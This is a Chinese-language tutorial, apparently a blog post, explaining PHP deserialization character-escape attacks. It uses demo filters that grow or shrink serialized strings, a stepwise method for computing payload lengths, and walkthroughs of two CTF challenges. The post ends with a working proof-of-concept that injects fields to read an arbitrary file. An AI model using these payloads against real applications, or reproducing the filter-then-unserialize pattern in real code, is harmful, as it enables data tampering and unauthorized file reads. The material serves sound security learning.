前言
因为以前一直在学习PHP反序列化字符逃逸的时候总是看到大佬构造的Payload好像轻而易举,但对于小白来说却很难理解。所以我写了这篇文章作为总结,同时作为一名理科生,将构造步骤拆解为一步步的方法,我想这可以对大多数同学起到很好的帮助。
01 PHP在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。例如下图超出的abcd部分并不会被反序列化成功。
02 当序列化的长度不对应的时候会出现报错
03 可以反序列化类中不存在的元素
<?php
class user{
public $name = 'purplet';
public $age = '20';
}
$b='O:4:"user":3:{s:4:"name";s:7:"purplet";s:3:"age";s:2:"20";s:6:"gender";s:3:"boy";}';
print_r(unserialize($b));
?>
PHP反序列化字符逃逸
字符逃逸的本质其实也是闭合,但是它分为两种情况,一是字符变多,二是字符变少
字符逃逸(字符增多)
<?php
function filter($string){
$filter = '/p/i';
return preg_replace($filter,'WW',$string);
}
$username = 'purplet';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
构造修改age的值的代码:";i:1;s:2:"20";} ,再计算一下构造的代码长度为16,同时知晓Demo的过滤是每有一个p就会多出一个字符,那么此时就再需要输入16个p,与上面构造的代码:";i:1;s:2:"20";} 拼接,即:username的值此时传入的是: pppppppppppppppp";i:1;s:2:"20";},这样序列化对应的32位长度在过滤后的序列化时会被32个w全部填充,从而使我们构造的代码 ";i:1;s:2:"20";} 成功逃逸,修改了age的值。(后面的值忽略是特点1)
判断每个字符过滤后会比原字符多出几个。如果多出一个就与上述相同,如果多出两个。则可以理解上面的Demo中的p过滤后会变成3个W,我们构造的代码长度依然是16,那么逃逸也就只需要再构造16/2=8个p即可(即:构造代码的长度除以多出的字符数)
字符逃逸(字符减少)
<?php
function filter($string){
$filter = '/pp/i';
return preg_replace($filter,'W',$string);
}
$username = 'ppurlet';
$age = '10';
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
再看这个Demo,很明显两个p变成了一个W,但是前面的长度依然是7,因为过滤后的字符长度变小了,所以该7位数值将向后吞噬了第一个“到;结束,所以这种问题就不再是只传递一个值,而应该在username处传递构造的过滤字符,age处传递逃逸代码。
字符逃逸(字符减少构造三步走)
第一步
利用Demo中的代码将age的值修改为想要修改的数值,即:20,得到age处序列化的值为;i:1;s:2:"20";},那么把这段数值再次传入Demo代码的age处(该值即为最终的逃逸代码),而此时username传递的p的数值无法确定,先可随意构造,查看结果
第二步
age处传递一个任意数值和双引号进行闭合,即:再次传入age = A";i:1;s:2:"20";},查看结果
第三步
计算选中部分(长度为13)根据过滤后字符缩减情况构造,Demo中每两个p变为1个W,相当于逃逸1位(选中部分即为逃逸字符)所以输入13*2=26个p进行逃逸,即最终传递usernmae=pppppppppppppppppppppppppp,age=A";i:1;s:2:"20";}
真题解析
[CTFSHOW]Web1此夜圆 ->字符增多
<?php
error_reporting(0);class a
{
public $uname = '123';
public $password = 'yu22x';
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}$a = new a();
var_dump(serialize($a));
echo "<pre>";
$r = filter(serialize($a));
var_dump($r);
var_dump(unserialize($r));
?>
[安洵杯2019]easy_serialize_php ->字符减少
<?php
function filter($img)
{
$filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
$filter = '/' . implode('|', $filter_arr) . '/i';
return preg_replace($filter, '', $img);
}
$_SESSION["user"] = 'flagflag';//先随便写两个,至于最后是
多少再补充
$_SESSION["function"] = '123';//先随便写
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
echo "<pre>";
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
var_dump(unserialize($serialize_info));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
?>
第二步,修改$_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
第三步,计算选中部分长度(构造逃逸代码)令$_SESSION[user]为6个4位长度的字符(flag)或者8个3位长度的字符(php)但是题目里的SESSION有三个参数,而我们第二行构造的代码中以}结尾了,所以反序列化后只能出现两个参数,没有满足要求,所以不会成功反序列化,那么只需要再任意补充一段序列化值即可。
最终POC:
<?php
function filter($img)
{
$filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
$filter = '/' . implode('|', $filter_arr) . '/i';
return preg_replace($filter, '', $img);
}
$_SESSION["user"] = 'phpphpphpphpphpphpphpphp';//过滤后向后吃24个字符
$_SESSION["function"] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"name";s:7:"purplet";}';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
echo "<pre>";
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
var_dump(unserialize($serialize_info));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
?>
得到flag的真正位置后再重新对该值进行一下Base64加密,替换了原Base64位置即可(因为加密后长度相同,所以不用再重新构造)